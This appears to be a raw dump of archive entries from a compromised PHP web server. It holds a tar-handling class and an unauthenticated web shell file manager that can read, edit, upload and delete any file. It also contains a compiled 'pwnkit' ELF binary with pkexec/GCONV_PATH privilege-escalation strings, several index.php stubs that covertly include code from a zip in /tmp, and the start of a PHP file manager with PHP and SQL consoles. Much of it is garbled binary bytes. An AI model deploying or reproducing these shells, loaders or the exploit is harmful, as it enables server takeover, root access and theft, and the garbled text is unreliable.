				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!�k��&10/4yd0ui/67e272a89d6f9.jpg.jpg.tar.gznu�[����+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J��L1K���*Hg �����8����� d���*a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@V�
PK!�o<ww10/67e272b25bcec.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�2<�+�+10/b3vd5z/bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!10/.mad-rootnu�[���PK!�o<ww10/67c6da0a349ea.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!C�!)�+�+	10/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!�o<ww10/67e272a89d6f9.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!17/GCONV_PATH=./.pkexecnuȯ��PK!��9uhh17/i6hldv/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "9day.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!PF�[ff17/gd7zml/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "aa.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!cB�Rff17/rqsj6y/index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "op.php"; include("zip:///tmp/phpgcuJge#$h");?>PK!�~���5�517/wvysak/g2hoj.phpnu�[���<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
